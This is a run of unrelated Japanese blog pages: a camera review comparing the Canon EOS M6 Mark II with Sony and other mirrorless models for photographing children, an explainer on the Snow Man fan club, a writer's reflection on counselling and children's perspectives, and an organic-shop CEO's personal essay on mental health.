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【CANON EOS M6 Mark II レビュー】家族のための最強ミラーレス!?他社競合と比較して使いながら考えてみました。 - ゆきおみの子育てカメラブログ
2019年9月に発売されたCANON EOS M6 Mark II。
子供撮影用のカメラとして僕はすでにSONY a6400を所有しています。これ以上のカメラはそうそう出てこないだろうと感じていましたが、EOS M6 Mark IIは前機種のEOS M6から相当の進化をしているようなんですよ。
Canon (キヤノン) EOS M6 Mark II EF-M18-150 IS STMレンズキット
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撮影の後のひと手間、現像作業。
僕はLuminarを使用しています。今までAdobeのLightroomでしたが、Luminarは便利で素敵な機能が満載なうえ月額料金がかからない買い切りタイプ。(Adobeは毎月課金です)
いい写真にしてみたい。
でも時間はかけられない。
失敗写真をなんとか救いたい。
そんな写真があるならいろいろな機能や現像方法を紹介していますので、ぜひ読んでみてください。
Luminarの全て!使い方&レビュー【 割引クーポン・プロモーションコード有】購入方法から現像のやり方をご紹介。Luminar NEOはLuminar4・Luminar AIよりも出来ることが増えてさらに初心者にもオススメの現像ソフトになりました。
実際に使ってわかった美点・良いところ
まずはキヤノンの公式動画を。
この動画を見て…ちゃんと手に取らないといけないんじゃないか!?と思いました。
その理由は以下の3つです。
小型のボディに3250万画素
瞳AF +サーボAFとISO低速限界
使い勝手の良さそうな操作系
じっくり説明していきますよ。
APS-Cが超えた3000万画素の壁
もうね、度肝を抜かれたんですよ、画素数に。
これまでAPS-Cといえば画素数は2400万画素くらいが限界だったので、3000万画素超の写真を撮るならフルサイズのカメラを買うしかなかったんです。それが!ついに!3250万画素というセンサーが搭載されたんです。
画素数が増えればトリミングにも強くなりますし、そもそもの画質も良くなることが多いです。今のソニーのAPS-Cセンサーの画質は3年ほど前からほとんど進化していませんので高感度の耐性などには満足できないこともたまにあるんです。
やはり一度きりの子供たちの写真ですから、なるべく高画質で残したいと思うなら新型センサーを使うのが一番ですね。
子供撮影に必須な機能は搭載
瞳AFとサーボAF。そしてISO低速限界。
どちらも初代EOS M6には搭載されていないので、もはや別のカメラといってもいいでしょう。そして、この2つの機能が揃うことで
いつでも瞳にピントが合う
どんな状況でもブレにくい
という最高に使いやすいカメラができあがります。
僕の思う「子供撮影用カメラ」としての基本は備えているわけです。
a6400とほぼ同じ大きさなので延長グリップが必要だよななんて思っていたのですが、想像以上に持ちやすい。
グリップの深さや凹みの角度、シャッターボタンの位置などキチンと考えられています。
気づいた欠点・残念なところ
僕の一番のマイナスポイント。意外に結構ストレスです。
外が明るかったりするとファインダーの方が光が入って来にくいので見やすいんです。というかライブビューはかなり見づらいですね。
もちろんチルトで腰あたりで撮影するときはライブビューで撮影しますが、日頃ファインダーのある機種を使いなれているので咄嗟にファインダーを覗こうとして間抜けな感じに何度もなりました(苦笑)
内臓フラッシュとか使いもしないんだからポップアップファインダーでも欲しかったですね。
ファインダーがあるってカメラの楽しさのひとつなんだな、って再確認。
買う前からSONYの瞳AFの方が優れているのはEOS RPを使っているので覚悟していました。遠い状態でも瞳を認識するSONYに慣れてしまうとまだ認識しないの?という感じになってしまいます。
当然、認識しないとピントも瞳に合わないので少々慣れが必要だな、と感じました。
もちろん動物の瞳AFが使用できるのはSONYだけ。CANONはいつになるかな。
レンズの選択肢が少ない
EOS MシリーズのカメラのマウントはEF-Mマウントというマウントです。
SIGMAがようやくSONY Eマウントやマイクロフォーサーズで実績を残している16mm、30mm、56mmを発売しました。他はすべてCANON純正のEF-Mマウントレンズを使うか、EF-M→EFのマウントアダプターを使用するしかないんです。
いろんなレンズを試してみたい、という人にはちょっと物足りないかも?
破損保証はSONY一択
子供がうっかり壊した、とか手が滑って落とした。
そんな時に対応できる保証はソニーストアの長期保証(ワイド)だけ。今や僕がSONYを選ぶ理由になりつつある保証です。
子供が小さいうちは安心ですよ。
高倍率ズームのマウント部がプラスチック
安っぽいんだな、これが。
高倍率ズーム+単焦点の運用が好きなので高倍率ズームの使用率がかなり高いんですが、撮る気失うくらいには質感が無い。逆光にもかなり弱めだし、あんまり安心して使い倒せないかなぁ、という感じ。
SONY a6400 / a6600 他a4桁シリーズ
【2020年8月】SONYのAPS-Cミラーレス一眼のカメラボディでもう迷わない!a6500・a6400・a6300・a6000・a5100の違いを比較!おすすめボディまとめ!
ソニーのミラーレスにはa6500やa6300、a5100など形も名前も似たようなカメラがあります。
しかしこれらの機種の発売は3年以上前。
その3年の間、フルサイズで培った技術をa6400 / a6600には惜しみなく使われていて中身はまるで別物。
ですので、動体を撮るならa6400 /a6600がおすすめ。最新のSONYのカメラは子供を撮る性能がとても高いのが特徴です。
【SONY a6400 レビュー】3年でカメラを5台買い換えた僕がたどりついた、初めての方にもオススメのミラーレス一眼!いろいろ比較したけどa6400が最高のコスパです。
グリップはa6400と比べるとEOS M6 Mark IIの圧勝。グリップが進化しているa6600とほぼ同等。
画素数は3000万画素を超えたEOS M6 Mark IIは圧倒的。SONYは最高でも2520万画素です。 高感度性能はさほど変わらないかな…。
動体AF性能はa6600 ≒ a6400 > EOS M6 Mark II って感じ。
ファインダーもあるし、値段もこなれてきたa6400はまだまだオススメ。優秀です。
SONYなら保証も手厚いし。
SONYのAPS-Cミラーレス一眼のカメラボディでもう迷わない!
SONY a6600 / a6100とa6400を比較しました
SONY a6400のレビュー
CANON EOS 90D
【CANON EOS 90D レビュー】最新一眼レフが僕に向いてなかった理由。
レフ機は大きさ・重さだけでなく、ファインダーとライブビュー時の違いなども含めてあまり好みではありませんでした。
慣れの問題だと思いますが、一眼レフの光学ファインダーが特に見やすいと僕は感じてませんので多分一眼レフ使う事はもうない、という結論に至りました。
CANON EOS 90D詳細レビュー
【Nikon Z50 レビュー】SONYを愛用する僕も感じるカメラとしての心地よさ。APS-Cミラーレス入門機の決定版か。
とても質感の良いカメラが出たなー!という感じです。
ただ、個人的にはダブルズームレンズは好きではなく、高倍率ズームがないとやってられません。予想の斜め上の動きをする子供達相手にレンズ交換する余裕など無いのです。
Zマウント(APS-C)のレンズ増えてきたらZ50はかなり無双できそう。
Nikon Z50レビュー
OLYMPUS E-M5 Mark III (2020.3.20追記)
【OLYMPUS OM-D E-M5 Mark III レビュー】SONY愛用中の僕には不満が残るAF精度。子供を撮るには力不足かも。
僕の昔の相棒OM-D E-M5シリーズ。当然期待して最新機種を待っていましたが、残念ながら優れているのはファインダーがあることと、外観の可愛さ・レンズラインナップくらい。
画素数も1000万画素違いますし、AF精度もイマイチ。子供撮影においてほとんどピントが合わない失敗写真を量産することとなりました。
結果としてOLYMPUSはフラッグシップ機でなければ子供撮影に向かない結果となったのですが、さすがに価格帯が変わってしまうので比較してもなぁ…。
昔はこの性能で十分満足できたはずなんですがね。
OLYMPUS OM-D E-M5 Mark IIIレビュー
まとめ ファインダー不要派にはベストかも
欠点もいくつか挙げましたが、ファインダーの有無が一番使ってて大きいですね。
僕が今使っているカメラが全てファインダーがあるタイプ。8年前くらいに使ってたSONY NEX-5Rを買い換えたのもファインダーがなかったから。
個人的には必須なので僕はa6400の方が好みですね。瞳AFの性能と破損保証もCANONにはないですから。
とはいえ、グリップも握りやすいし、画素数も3000万画素を超えています。ファインダーが無くても困らない方にはかなり満足できるカメラなんじゃないかな。
おまけ おすすめのアクセサリ
カメラと一緒に必ず買っておいてた方がいいものを紹介しておきますね。
データ保存用のSDカード(4K動画対応)
傷や汚れから液晶を守る保護シート
持ってて安心な予備バッテリー
SanDisk(サンディスク) SDカード 64G Extreme Pro 超高速170MB/s class10 UHS-I U3 V30
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EOS M6 Mark IIは4K動画が撮れるのですが、SDカードの選び方を間違えるとと撮れません。
もちろんこのSDカードは大丈夫。
Canon (キヤノン) バッテリーパック LP-E17 (対応機種:EOS 8000D、EOS Kiss X8i、EOS M5、EOS M6、EOS M3、EOS RP)
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ハクバ HAKUBA EX-GUARD 液晶保護フィルム(Canon EOS M6 MarkII / Kiss M / M100 / M6 / PowerShot G1 X MarkIII 専用) EXGF-CAEM6M2
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液晶の傷は売るときに査定に響きます。最大20%ほど減額されることもあるようです…こだわりがなければ保護シートを装着しておいたほうがいいかと。
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【SONY a6400 レビュー】3年でカメラを5台買い換えた僕がたどりついた、初めての方にもオススメのミラーレス一眼!いろいろ比較したけどa6400が最高のコスパです。 に ひら より
【SONY a6400 レビュー】3年でカメラを5台買い換えた僕がたどりついた、初めての方にもオススメのミラーレス一眼!いろいろ比較したけどa6400が最高のコスパです。 に ゆきおみ より
【SONY a6400 レビュー】3年でカメラを5台買い換えた僕がたどりついた、初めての方にもオススメのミラーレス一眼!いろいろ比較したけどa6400が最高のコスパです。 に ゆきおみ より
【SONY a6400 レビュー】3年でカメラを5台買い換えた僕がたどりついた、初めての方にもオススメのミラーレス一眼!いろいろ比較したけどa6400が最高のコスパです。 に かず より
【SONY a6400 レビュー】3年でカメラを5台買い換えた僕がたどりついた、初めての方にもオススメのミラーレス一眼!いろいろ比較したけどa6400が最高のコスパです。 に ひら より
長女が生まれた時に一眼レフを買ったものの、全然うまく撮れず絶望。3年の猛勉強の末、今ではそこら辺の家電量販店の店員より詳しくなる。コメント欄やLINEで気軽にカメラ・写真のこと相談してくださいね。
カメラ選びで迷っているなら
【SONY a6400 レビュー】3年でカメラを5台買い換えた僕がたどりついた、初めての方にもオススメのミラーレス一眼!いろいろ比較したけどa6400が最高のコスパです。
いい写真に仕上げたいなら
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— ここぽん🍑 (@sz___ronron) April 2, 2020
snowmanのファンクラブの年会費は4000円です。
初年度だけ入会金が1000円かかりますので、初年度は5000円となります。
2年目からは継続年会費として4000円となります。
リアルタイムの会員数は?
今や日本で1番CDを売るSnowMan
どデカいグループになっちまった#SnowMan #ジャニーズ #SnowManLIVETOUR2022Labo #ファンクラブ会員数 pic.twitter.com/v9xfrXRdkx
— 恵比寿 (@nsov9dp) August 10, 2022
snowmanのファンクラブ会員数は2019年11月のファンクラブ開設後、1週間で10万人を突破しました。
その後、2021年8月には大台の50万人を超え、2年も経たずの伸び率に騒然となりました。
2022年8月現在、80万人を突破し猛烈な勢いで増えていっています。
snowmanのファンクラブ会員数はコンサートの日程が告知されるたびに伸びていっているようで、やはりその人気ぶりが伺えますね。
snowman(スノーマン)ファンクラブの特典を調査!
snowmanのファンクラブに入ると様々な特典があるそうです。
たとえば有観客の番組であれば、その観覧申し込みの案内があったりするようです。
現在snowmanの冠番組「それSnowManにやらせてください」は無観客でされている番組のようなので、観覧はできないのですが、今後有観客番組などがあれば観覧できるかもしれません。
その他にどんな特典があるのでしょう。
誕生日にバースデーカードが届く?
初めて届いた♡#SnowMan#SnowManファンクラブ#バースデーカード pic.twitter.com/eKOEGGWhQq
— __Kii__ (@Kii_KK_A) June 22, 2022
ファンクラブに入会して自分の生年月日を登録しておくと、誕生日にバースデーカードが届きます。
これだけでもファンにとっては嬉しいのですが、なんとこのバースデーカードにはQRコードが付いていて、それを読み込むと誕生日のお祝いメッセージ動画を見ることができます。
snowmanからお祝いメッセージをもらえるなんて、ファンからすればこの上ない喜びですよね。
コンサートに優先的に申し込める?
SnowManファンクラブ
入会したーーー(*˘︶˘*).。*♡
これでコンサートの先行予約の権利を獲得!(※当選できるかは別として)
とりあえずオレンジkiss聴いて、モエカレをまた観に行っておこう。 pic.twitter.com/JNziQcAxPI
— さらぱん (@sarapan623) July 14, 2022
snowmanのコンサートや舞台はとても人気があります。
なのでチケットを申し込んでも必ずしも当選するわけではないのですが、ただ、一般申し込みよりも先にファンクラブ会員は申し込むことができます。
実際ファンクラブ会員を優先して当選させているようなので、コンサートや舞台を見に行くならファンクラブには入会しておいて間違いないでしょう。
限定動画が視聴できる?
ほんとは動画載せたいけど、ファンクラブ限定動画だから1部の写真だけ、、、、
あべちゃんbirthday動画でさっくんがしゃーーーーーー🤟ってやって空気が一瞬しーんとなったところの指示を出したのは、真の犯人は、渡辺翔太です。私の推しはさすがです。すき。#SnowMan#あべちゃんバースデー動画 pic.twitter.com/vNQlAYM5I6
— a (@six1518a) November 29, 2020
自分の誕生日には動画でメッセージが届きますが、それ以外にもファンクラブサイトで会員限定動画を見ることができます。
動画の配信のタイミングは、
・コンサートや舞台の決定
・CDやDVD、ブルーレイの発売
・ニューイヤーメッセージ
・クリスマスメッセージ
snowmanはゲーム性のある面白い動画を配信したりするので、テレビでは見れないメンバーのわちゃわちゃを見ることができてとても魅力的です。
デジタル会報やメール伝言板で最新情報をチェックできる?
『Snow Man ファンクラブ メール伝言板』の響きの良さ🥺あぁSnow Manのファンになったんだって実感湧く🥺 pic.twitter.com/lNZMGE320D
— なつん (@_iwazap_) November 22, 2019
当然ファンクラブなので会報があります。
コンサートや舞台、新曲の裏側などを会報でしか見られない動画や画像で見ることができます。
会報も今はsnowmanのように、令和になってからは紙媒体ではなくデジタル会報となっています。
また、コンサートや舞台、雑誌やCDなどの発売情報はもちろん、メンバーのメディア出演情報などもメールでお知らせしてくれるメール伝言板もあります。
ブログ「すの日常」はファンクラブとは別?
すの日常見れた!泣いてしまった……自分もしんどいのに更新してくれてありがとう😭SnowMan大好き😂そしてSnowManのファンクラブ入る(๑•̀ㅂ•́)و✧ pic.twitter.com/91nMLvYoKh
— 🧡☃megumin☃🧡 (@0Cz0onJiGPPwKW1) January 22, 2022
snowmanがその名の通り「素」の日常を届けるブログ「すの日常」は、メンバーがどんな日を過ごしたかや自分で撮った写真などが掲載されているブログです。
これはファンクラブ特典ではなく「ジャニーズweb」という別の有料サイトに掲載されています。
「ジャニーズweb」は月額300円(税別)で見ることができ、ジャニーズのタレント本人が書いたブログや写真が掲載されています。
snowman(スノーマン)ファンクラブに入るタイミングは?
これまでsnowmanのファンクラブに入った特典を見てきましたが、では入るタイミングはいつが良いのでしょう。
ファンクラブ開設当初は会員証ケースがもらえましたが、残念ながら開設は2019年なので、もうその期間は終わってしまっています。
では今からならいつが得かを見ていきたいと思います。
月末ではなく月初がお得?
一番得なのはやはり月初めです。
なぜなら年会費が適用されるのは1年後の月末までだからです。
なので月初に入会しても1年後の月末まで会員でいられるので、月初に入会したら約1ヶ月分お得になりますね。
誕生日や年賀状に間に合うためには?
せっかく入会するのだったら誕生日のお祝いメッセージは欲しいですよね。
誕生日カードが届くには最低でも1ヶ月前には入会手続きが終わっていないと発送されないようなので、誕生日の1ヶ月前の月初には入会しておく方が良さそうです。
また年賀状も同じで、こちらも発送準備がありますので、年末より1ヶ月前の11月には入会手続きを終わらせておく方が良いでしょう。
余裕があるのなら誕生日や年末の2ヶ月前の月初に入会しておくと安心ですね。
・snowman(スノーマン)ファンクラブの値段は年会費4000円で初年度のみ入会金プラス1000円かかる。
・snowman(スノーマン)ファンクラブの特典を調査したところ、誕生日にバースデーカードが届く、コンサートに優先的に申し込める、限定動画が視聴できる、デジタル会報やメール伝言板で最新情報をチェックできるといった特典があった。
・snowman(スノーマン)ファンクラブに入るタイミングは誕生日や年末より最低1ヶ月前の月初がお得。
といったことを調べてみましたが如何だったでしょうか。
最後までお付き合い頂きありがとうございました。
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2016年のメジャーデビュー後、2018年には「マリーゴールド」が大ヒットとなり大人気シンガーソングライターとなったあいみょんさん。  …


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「親には話せない」大人になって忘れていた、子ども側からの視点 | ライター 佐々木はる菜の 未来を紡ぐライフログ
今、子ども達自身に何か大きなトラブルがあるというよりも、海外転勤の延期が続く中で、私自身が自分の子育てはこれで良いのか聞いてみたいという思いがありました。
noteやclubhouseなどでも多くの共感や励ましのお声をいただき、とても嬉しかったです。(詳しくは前回の記事へ)
「カウンセリングへ行くことへの抵抗」を自覚
これまでの私ならば、外部へ相談はしなかった
ただ以前の私であれば、わざわざ子どもの通う学校に相談に行くという方法は選ばなかったと思います。
それを変えるきっかけをくださったのが、2月末から毎週木曜日11:00~30分、Clubhouseで開催している駐妻向けの定期room、そして一緒にモデレーターを務めてくださっている、「駐妻カフェ」運営責任者、駐在妻キャリアサポートコーチとして活躍されている飯沼ミチエさんでした。
ちょうど5月前半のテーマは「落ち込んだ時、誰かに相談できてる?」。
ミチエさんご自身も「かつては誰かに相談するという選択肢すらなかった」といいますが、その考えが変わったきっかけについてなどのぶっちゃけトークが伺えるのも”オフレコ”が楽しいClubhouseだからこそ!
今では仕事柄もありカウンセラーの方々との繋がりも多く、例えば教育ならばこの方、お金なればこの方…と今では頼り先がたくさんでき、それぞれのプロに気軽に相談できる環境はとてもありがたいとおっしゃっています。
「問題を外に出すのが恥ずかしい」という感覚
room内でも話題に出たのが、そうはいっても日本はまだまだ「カウンセリング」に抵抗感があるのではということ。
「こんなことで相談していいのかな?」という迷いがある、自分で抱え込んでギリギリまで頑張っちゃう…など、どの意見も納得感がありましたが、スピーカーに上がってくださった一人の女性のエピソードを伺う中で、自分自身が「家の中の課題を外に出す事が恥ずかしい」と抵抗感を持っていることに気づき、はっとさせられました。
私は今38歳ですが、私たちが小中学生だった当時でも「アメリカでは、家族や夫婦単位でカウンセリグを受けている方がたくさんいたし、テレビや映画のシーンなどでもよくカウンセリング受けるシーンがあるなど馴染みが合った」そう。一方それは当時の日本の感覚とは違った…そしてその感覚は今でもまだ根強く残っており、現に私自身も「カウンセリングに行く」ことにちょっと抵抗感を持っていたと感じています。
忘れていた「親には話せない」という感覚
また、いつもは親として妻の立場として海外転勤に同行する視点で話をしていますが、この日は自分自身が帰国子女となった立場の意見を伺うことができました。
親と同じで、海外駐在は良いこともあるけど、子どもにとってもやはり振り回される部分もあります。
帰国後の戸惑いや、それをどう乗り越えて行ったかというエピソードを通じて、子どもの立場に立って適切なサポートを模索する事ことの必要性も感じました。
ミチエさんからは、勉強だけでなく幅広く帰国子女のサポートをされている団体のご紹介もありました。
前回の記事の「こころの相談先」と併せて、気になる方は是非チェックされてみてください☆
TCK帰国生カウンセリング(日本語・中国語)家族講座|育ちネット多文化CROSS
子ども達にも伝えたい「プロに相談する」という選択肢
海外ではもっと身近な「カウンセリング」
私自身は日本で生まれ育った普通の日本人ですが、中学生の頃に一度急に、これまで仲良くしていた子に一定期間口をきいてもらえなくなったことがありました。
その時は衝撃で学校へ行くのが嫌になりましたが、親には心配をかけたくないし、何より自分がいわゆる「外されている」なんて恥ずかしくて言いたくないと感じていたことを思い出しました。
我が家の子どもたちは今はまだ小学校3年と1年ですが、成長するほど親だからこそ言いたくないことや、見えなくなってくる部分も増えていくのだと想像します。
そんな、大人になって忘れていた子ども側からの視点を思い出したことで、今回「相談室」に行くことも、子ども達に説明しました。
「ふたりが悪いことをして学校に呼ばれたわけでもなく、ママがふたりのことで困っているわけでもない。今、パパがいない時期が続いていて、ママ自身が不安になったりうまくできなかったりすることがある。ふたりにとって良いママでいたいから、そういう相談を聞いてくれる先生がいるお部屋で、相談してくるね!」
と伝え、家族やお友達以外にも、専門家で信頼できる方に自分の悩みを相談して良い方向に導いてもらう、カウンセリングというものがあるんだよと伝えました。
信頼できるプロに相談するという選択肢があること、それは良いことだというスタンスを親が持っていることは、将来的に子どもにとってもプラスになるのではないかと感じています。
今週木曜日のClubhouseテーマは「帰国子女の受験ってどんなかんじ?」
毎週木曜日AM11:00~30分、Clubhouseで開催している、駐妻向けの定期room。
この2週のテーマだった「落ち込んだ時、誰かに相談できてる?」では、前回の記事に書かせていただいた通り「ひとりで抱え込まず、周りに相談すること」「元気なうちに相談先を探しておくこと」などの大切さに加え、子ども側からの視点も忘れないようにしたいと多い至ることができました。
次回、5月20日(木)27日(木)のテーマは「帰国子女の受験ってどんなかんじ?」で、各回、お子さんが帰国子女受験をされた方がゲストで参加してくださる予定です。
よろしければお気軽にご参加ください!
☆おしゃべりや雑談を通して「優しくつながり合う」場所を作れたらと思った理由は、コチラの記事から☆
ライター 佐々木 はる菜
小学生と幼稚園児の兄妹を子育て中のママライター。人気女性誌のwebサイトでのコラム連載を中心に、国内外のトレンド、暮らしや子育てについて幅広く執筆中。
こちらのサイトでは、未経験&子育て中だった私がどうしてライターになったか、フリーランスママライターの実情やこぼれ話、これから目指していきたい新たな働き方や、現在延期中の海外転勤関連情報などを発信していきます!
連載記事公開などのお知らせ2022.06.20「耳活」で自分アップデート! ”音声コンテンツ”特集
連載記事公開などのお知らせ2022.06.20LEE新連載スタート・駐妻ライター佐々木はる菜の、海外で見つけた「暮らしのヒント」
フリーランスママの日常2022.06.09平日ディズニー満喫/半年前との変更点などチェックポイント・待ち時間も【2022.6月】
フリーランスママの日常2022.06.01一貫校、小学校時代からの友人と国際文化会館へ
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フリーランスライター 佐々木はる菜
株式会社リクルートを経て、結婚・出産を機にライターへ。現在は、月間PVが2000万を超える人気女性誌のwebサイト『LEEweb』でコラムを連載、主にママ世代に向け国内外のトレンド、商品・サービスや社会的な取り組みなどを幅広く執筆している。子育て中の視点を活かした取材によるリアルな体験記事が得意で、2人の子どもを連れて海外取材を行った経験も。出産離職や海外転勤など自身の経験から「女性の生き方」についての発信をライフワークとしており、ママ起業家のインタビュー記事連載や駐在妻への情報発信にも注力。最近ではフェムテック分野の記事執筆も精力的に行っている。
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What is IN YOU? IN YOUとは
Organic Life to all the people.
本物のオーガニックが見つかるオーガニックショップ IN YOU Market 本物のオーガニックが見つかるオーガニックショップ
Instagram Twitter YouTube 株式会社インユー代表取締役CEO オーガニックブランドMineryプロデューサー 「すべての人にオーガニックな暮らしを」をスローガンとして掲げ、オーガニックの普及と拡大を目指し、日夜活動中。 運営サービスはIN YOUや日本で一番厳しい基準を目指すIN YOU MARKETなど
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この前ブログを更新してから約1ヶ月半が経過しました。
にしても、今年は本当に時間が過ぎるのが早いですね。きっとこれはコロナウイルスの影響が大きいのでしょう。
さて、この文章を書くのは少し勇気がいりました。
というのも、心の内を開けっぴろげに話すかのような内容も含むものだからです。
しかしこの時代、「本質的な言葉」からしか、何も伝わらないと思ったので、あえてあまり飾り立てずに今日は内観しながら、お話ししたいと思います。
私自身については、前回のブログでもお伝えした通り、自分の中での「人生における優先順位」というものがコロナ渦中に明確になってからは、
大変なことがあれど、心身のバランスは比較的整っているなあ、と感じていています。
自粛要請がかかった4連休の始まりの今。
普段できていなかった”ブログ更新”という超後回しになっていた
(”タスク”ではなく)”やりたいこと”に、ようやく手をつけたいなあ、と思えるようにまでなりました。
これは私の中で立派な前進です。
恥ずかしながら、自粛期間中すら、ほとんど自分と向き合う暇もなかったのですが、(あ、瞑想だけはやっていたかな)
ようやく何とか自分の中で「ここまで頑張れば、おそらく大丈夫かなあ」という1つのラインや、「上手に心を休ませるコツ」を、覚え始めた気がします。
発信を随分おざなりにしてきたここ半年から一年。その理由。
ところで、私にとって自分の言葉による発信は、(ブログや記事など)創業時以前から、とても”軸”と呼べるほどに、大事で必要不可欠なものでした。
それと共に、「私の言葉」を文章で発信する行為や、ひたすら話し続けることっていうのは、
ある意味、私にとってはとても得意なことでもあり、何も考えなくても簡単にできてしまうくらいの、好きなジャンルのことでもありました。
話すよりどちらかというと、文章の方が好きですけれどね。
私の言葉による発信自体が、お金になるかはさておき、好きかどうかという意味では確実に、好きなジャンルなのです。
しかしながら、この一年、正直なところ、自分からの発信という要素を、とってもおざなりにしてきたなあ・・と我ながら、思っています。
とはいえ私を知っている、他の人から見たら「ユーチューブも、インスタもそれなりに更新しているじゃん!発信しているじゃない!」と思われると思いますし、確かに一般人から見ると随分発信している人間のタイプだとは思いますが、”プロのブロガー”や”ユーチューバー”などある意味、発信のプロとして考えると、明らかに発信の数が落ちていたのは事実です。
自分が発信することを軽く見て、内心バカにしていたのかもしれない
「なぜなのだろう」と思ったのですが、おそらく発信の全てが、”好きなこと”から、”何かの目的”や”義務”になってしまったのが原因だと考えます。
自分の中でいつのまにか、仕事における責任、組織を運営する立場としての責任が増えるにつれて
”発信すること自体が、優先度の非常に非常に低い一つの単なる仕事感覚になっていたのではないか”ということです。
さらに、半年から1年では、ここ数年間以上に、
目の前の事(かつ外からはあまり見えない水面下のお仕事。)に追われすぎていたのも、大きな理由だと思います。
だからこそ、仕事の案件が入れば入るほど、ブログを書いたり、何かコンテンツを配信したりすることを全て、後回しにし諦めていたのでしょう。
誤解を恐れずにいうと、潜在的な意識と姿勢の中で、”自分が発信する事に対して随分軽く見て、バカにしていたのだなあ”という風にも、思っています。
「発信なんてしても、意味ないんじゃない」「もっと意味がある優先順位の高い仕事をやったほうがいいんじゃない?」ってね。
けれども、発信、特に自分の言葉による発信って「自分の分身」だと思うのです。
発信の優先度を最低にし、潜在的にバカにするという行為は、悪く言えば、これって自分のことをバカにしていることに、他ならないと私は思うのです。
もしかすると、私は内心ずっと、自分をバカにしてきたのかもしれない。
オーガニックメディアを立ち上げておいて、発信を何よりも大事にしてきた張本人が言うことか!と強く皆様にお叱りを受けてしまうかもしれないですね。
逆に言うと「目の前の地味なことにこれほどフォーカスして、自分とそして、IN YOUというこの組織に、
そして、”何か見えないもの”とたとえ、大変であろうが辛かろうが、構わずに止まらず、ずっと闘い続けてきた」ことは、
もしかすると、自らの人生で初めての体験なのではないか、と感じています。
けれどもそれが、不本意ながら、「発信から遠ざかる結果」になってしまった・・。
目の前のことに、ただひたすら集中することによるメリットとデメリット
目の前のことに集中していると、その時はほとんど余計なことも考えなくていいですし、雑念が紛れるというメリットもあります。
私がかつて、仕事に本格的にフォーカスしたいと思った理由の一つに、無我夢中に、集中できるものを見つけたいからという理由がありました。
もちろん今はもっと大きく明確な目標やビジョンを持って仕事をしています。あくまで創業当時の話です。
集中できるものを見つけると、誰しも、なんだか”生きている意味”を見出せたり、
目の前のことに集中さえしていれば、感情の起伏や、一人になった時に訪れる孤独感や、悲しさ、そして怒りまでもが、消えていったりもするのですから。
私も起業した当時、「ああこれは、なんて便利なツールだ」と思ったのを覚えています。
だって、仕事さえやっていればネガティブなことや寂しさをその瞬間には、全て忘れさせてくれるのですから。
自分にとって最適な空間であり、瞑想に近い作業だったのかもしれません。
それに目指す先が、たとえどんなに大きな目標であっても、それにたどり着くまでの道を考えて一つ一つの作業を全て分解すると、
案外ものすごく地味でものすごく果てしない作業だったりすることも少なくないということが、結構あります。
目の前の地味な仕事無くして、全てをショートカットして、大きなことなど成し遂げることは、できないと私は考えています。
ですから目の前の仕事に集中することそれ自体を、悪いことだとは、全然思いません。
ですが、これが行き過ぎると、今度は逆のことが起こることがあります。
つまり、全てが”やりたい事”ではなく、しまいには、好きだったことまで、”タスク”のような感覚になってゆき、
自分のやることなすこと、全てに対して優先順位をつけた時、
”やりたいかどうか”の基準ではなく”しなければならないからやる”だけの基準になりかねない、ということです。
もちろん、やりたいことだけをやっていれば全てがうまくいく、なんて、都合のいいことはありません。
努力家タイプの成功者は、あり得ないほどの努力をしていることを知っているし、その中には”あり得ない量のやりたくないこと”も往往にして含まれます。
けれども目の前のことにただひたすら集中することだけでなく、
たとえ、目の前のタスクが埋もれていくとしても”自分がもっともやりたいこと”や、
”もっと本質的な事”について考える時間は、決して、0にしてはいけない、と思うのです。
心の余白って大事ね。今後は心の健康が大事になる時代になります。
私は今後、体の健康はもちろんですがメンタルヘルスが重要な時代になるのではないかと思っています。
コロナ渦で当たり前だったものが、次第にそうではなくなっていきました。
誰もが生活様式までもを強制的に変更しなくてはならないともなると、
一体私たちの人の心の中で起きるのか、経験したことがないので、全くわかりません。
何か一つのことがひどく上手くいかなかくなったり、あるいは何か大事なことを失った時、
「今までの人生は一体、なんだったんだろう」と突如空虚感に苛まれたり、生きている意味を見出せなくなったりする人が後をたたなくなると思うのです。
特に自分の中での優先順位の1番か2番目のものを失った時に、
メンタルの調子が一気に狂ってしまって、立ち直れなくなる可能性だってゼロではないわけです。
しかも、これは他人事なんかではなく、いつ、誰にだって起きてもおかしくないと私は思います。
そんな時に、最後の一滴まで水分が失われて、心がカラカラに枯渇してしまったら・・・。
もう後戻りはできないかもしれません。
けれども、もし自ら、あるいはなんとか、誰かの力を借りて、
心にジョーロで美味しい水を注いで、光に当たる方法を知っているかどうかで、今後の人生が大きく左右されると思うのです。
心にジョーロで美味しい水を注ぐ方法とは?
日頃から、心にジョーロで美味しい水を注ぐ方法。
これは、「自分が自分に戻れる可能性が高い方法を知っているかどうか。」ということです。
たとえば、すごくシンプルなものでいうと、お気に入りの美味しいオーガニックのお料理を食べるとかでもいいですし、
大好きな場所に行ってみる、とかでもいいですし、欲しかった商品を買ってみるでもいいですし、気がすむまでとにかく寝続ける、でもいいと思います。
あるいは、一番大好きな人に会う、とかでもいいと思いますし、自然に触れ合ったりもいいですね。
場合によっては、プロフェッショナル・カウンセラーに頼るのも悪くはないですよね。
とにかく、自分が生きた心地に戻れることを1つでも2つでもいいから絶対に知っておく必要があると思うのです。
もちろんそれだけでは、もしかしたら、立ち直ることは、難しいかもしれない。
でも念のために、知っておきましょう、という話です。
それから、自分以外の人に対しての「ジョーロでの水の注ぎ方」ですが、
責めたりしなくていいよ。あなたは悪くないよ。
あなたを心から必要としているよ。
あなたには、感謝しているよ。
という優しい言葉を身近な人にでもいいので、かけてあげるなど、
ホントーにたったこれだけ!?ということで人は案外、立ち直れたり心に潤いが戻ったりするものだと私は思っています。
心に、水を注ぎ、太陽の光にあてて、人の心の命をふきかえす。
一言で述べるなら、これは「愛」だと、私は思います。
以下は私のフェイスブックでの発言です。
[体が変われば心も変わる]
けれども一方、オーガニック食の力だけでは、人の生命は救えないと、私は考えています。
オーガニックマニアや健康マニアは、世の中に多数いますし、私もかつてはそれがほとんど全部を解決すると思っていた時期もありました。
ところが、実際に大事なのはそれだけではない、ということがはっきり活動を続ける中で、わかりました。
つまり、カラダの健康だけでなく、ココロの充足感や生き甲斐を見出さない限り、人の生命はきっと救えない、ということ。
https://www.facebook.com/ai.matsuura.750/posts/3243791739041171
私の個人FBから引用。
上記でもお伝えしたのですが、
私が今やっている、素晴らしいオーガニックや農薬を使わない自然なプロダクトを、皆様に広めることに加えて、
そしてこのブログやメディアのように自分自身の言葉で何かを伝えることだけでなく、
中長期的に、何か心身ともに本質的な人生を送る人を、オーガニックを通じて、増やすできる方法はないだろうか?
心と体両面にアプローチをできるような。
